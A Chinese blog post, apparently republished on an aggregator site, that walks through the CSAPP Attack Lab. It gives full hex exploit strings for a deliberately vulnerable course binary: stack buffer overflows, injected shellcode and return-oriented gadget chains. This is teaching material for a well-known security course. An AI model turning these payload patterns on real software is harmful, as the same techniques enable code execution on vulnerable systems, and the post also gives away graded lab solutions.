CMU15213:CSAPP 实验三:AttackLab · 大专栏 您所在的位置:网站首页 cmu15213实验 CMU15213:CSAPP 实验三:AttackLab · 大专栏

CMU15213:CSAPP 实验三:AttackLab · 大专栏

2023-06-22 08:57| 来源: 网络整理| 查看: 265

CMU15213:CSAPP 实验三:AttackLab | SIO__Five

var _hmt = _hmt || []; (function() { var hm = document.createElement(;script;); hm.src = ;//hm.baidu.com/hm.js?57e94d016e201fba3603a8a2b0263af0;; var s = document.getElementsByTagName(;script;)[0]; s.parentNode.insertBefore(hm, s); })();

(function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })();

盒子

盒子

博客

分类

标签

友链

关于

书单

RSS

搜索

文章目录

实验内容

《深入理解计算机系统》的第三个实验,利用缓冲区溢出,实现:1.代码注入 2.当栈内无法插入可执行代码时,利用 Gadget 实现攻击。

重要知识 栈底地址最大,栈顶地址最小。寄存器%rsp 指向栈顶 %rdi 为函数调用的第一个参数。 我们可以通过 Gets 等函数,向栈里注入可执行代码,从而形成攻击。 另一种方式是 return-oriented programming,在栈中插入连续的 Gadget,从而应对栈中代码不可执行以及地址随机的问题。 利用 GDB 逐步跟踪,以及 objdump 反汇编得到函数的具体地址。 缓冲区溢出攻击 Level 1

函数入口为:

12345 void () { int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%xn", val);}

当使用 getbuf 的时候,会调用 Gets。输入恰当的字符串,使得返回到 touch1 函数,从而实现第一个攻击。

12 void touch1() { vlevel = 1; /* Part of validation protocol */ printf("Touch1!: You called touch1()n"); validate(1); exit(0); }

使用 GDB 查看 getbuf 的汇编码,发现栈中为字符串开了 40 个字节,所以随便输入 40 个字节的字符,再把 touch1 的地址 (0x4017c0) 放在之后作为 getbuf 返回的地址即可。注意是 little endian 的规则,并且用 0a 作为字符串结尾。

123456 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 c0 17 40 0a Level 2

touch 2 如下:

12 void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)n", val); validate(2); }else{ printf("Misfire: You called touch2(0x%.8x)n", val); fail(2); } exit(0); }

level 2 需要调用 touch 2,并且传入一个与 cookie 相同的参数 val。我们在栈中插入一段可执行代码,将 cookie 的值放入%edi 寄存器,然后再调用 touch 2 即可。

1234567 bf fa 97 b9 59 c3 90 90 /* 2. 0x5561dc78: mov $0x59b997fa, %edi ret */ 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 78 dc 61 55 00 00 00 00 /* 1. 跳转到栈中的可执行代码,地址为0x5561dc78。相当于ret,所以%rsp+8 */ ec 17 40 0a /* 3. 执行完上述mov 操作,挑战到 touch2 */ Level 3

touch 3 要传入一个字符串的首地址,和 hexmatch 里面的 cookie 做比较。所以传入的字符串必须包含 cookie。由于 touch 3 还会调用 hexmatch,hexmatch 函数中有一个临时字符串,所以不能和传入的字符串冲突。

1234567 48 c7 c7 a8 dc 61 55 90 /* 2. 0x5561dc78: mov $0x5561dca8 %rdi */ 68 fa 18 40 00 90 90 90 /* 3. pushq 0x4018fa */ c3 90 90 90 90 90 90 90 /* 4. ret */ 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 78 dc 61 55 00 00 00 00 /* 1. 跳转到栈中可执行代码,地址为0x5561dc78, 并且%rsp+8 */ 35 39 62 39 39 37 66 61 /* 0x5561dca8: cookie string address */ ROP

当栈中无法插入可执行代码时,我们能够通过一系列依次执行的 Gadget 来实现攻击。

Level 4

level 4 通过组合 popq %rax, movq %rax %rdi 将栈中的 cookie 先放到寄存器%rax 中,再移动到%rdi 中,作为参数传入 touch 2

12345678910 90 90 90 90 90 90 90 90 65 65 65 65 65 65 65 65 66 66 66 66 66 66 66 66 67 67 67 67 67 67 67 67 68 68 68 68 68 68 68 68 ab 19 40 00 00 00 00 00 /* 1. jump to 0x4019ab, %rsp+8, 而0x4019ab的指令为 popq %rax */ fa 97 b9 59 00 00 00 00 /* 2. cookie为0x59b997fa, 将其pop到%rax中 */ c5 19 40 00 00 00 00 00 /* 3. 执行完第一个Gadget,返回后跳到0x4019c5, 执行第二个:movq %rax, %rdi */ ec 17 40 00 00 00 00 00 /* 4. 执行完返回,跳转到touch2: 0x4017ec */ 0a Level 5

level 5 要通过 Gadget 将字符串的首地址传给 touch3。 由于 touch3 调用了 hexmatch,所以必须要将字符串放在栈底,才不会被其它修改。通过以下组合来实现

1234567891011121314151617 00 00 00 00 00 00 00 00 11 11 11 11 11 11 11 11 22 22 22 22 22 22 22 22 33 33 33 33 33 33 33 33 44 44 44 44 44 44 44 44 06 1a 40 00 00 00 00 00 /* 1. 第一个Gadget 0x401a60: movq %rsp %rax */ a2 19 40 00 00 00 00 00 /* 2. 第二个Gadget 0x4019a2: movq %rax %rdi */ ab 19 40 00 00 00 00 00 /* 3. 第三个Gadget 0x4019ab: popq %rax */ 48 00 00 00 00 00 00 00 /* 第三个Gadget中栈中取出到%rax的为常数 0x48 */ dd 19 40 00 00 00 00 00 /* 4. 第四个Gadget 0x4019dd: movl %eax %edx */ 34 1a 40 00 00 00 00 00 /* 5. 第五个Gadget 0x401a34: movl %edx %ecx */ 13 1a 40 00 00 00 00 00 /* 6. 第六个Gadget 0x401a13: movl %ecx %esi */ d6 19 40 00 00 00 00 00 /* 7. 第七个Gadget 0x4019d6: lea (%rdi, %rsi, 1) %rax */ a2 19 40 00 00 00 00 00 /* 8. 第八个Gadget 0x4019dd: movq %rax %rdi */ fa 18 40 00 00 00 00 00 /* 9. 将字符串的位置赋给%rdi后,调用touch3 */ 35 39 62 39 39 37 66 61 /* cookie */ 00 00 00 00 00 00 00 0a

关闭

博客

分类

标签

友链

关于

书单

RSS

搜索

var disqus_shortname = 'SIO__Five';

var disqus_url = 'http://yoursite.com/2018/04/09/cmu15213-attacklab/';

(function(){ var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true; dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js'; (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq); })();

function loadScript(url, callback) { var script = document.createElement('script') script.type = 'text/javascript';

if (script.readyState) { //IE script.onreadystatechange = function() { if (script.readyState == 'loaded' || script.readyState == 'complete') { script.onreadystatechange = null; callback(); } }; } else { //Others script.onload = function() { callback(); }; }

script.src = url; document.getElementsByTagName('head')[0].appendChild(script); }

window.onload = function() { loadScript('/js/bundle.js?235683', function() { // load success }); }

MathJax.Hub.Config({ tex2jax: { inlineMath: [ ["$","$"], ["\\(","\\)"] ], skipTags: ['script', 'noscript', 'style', 'textarea', 'pre', 'code'], processEscapes: true } }); MathJax.Hub.Queue(function() { var all = MathJax.Hub.getAllJax(); for (var i = 0; i < all.length; ++i) all[i].SourceElement().parentNode.className += ' has-jax'; });



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有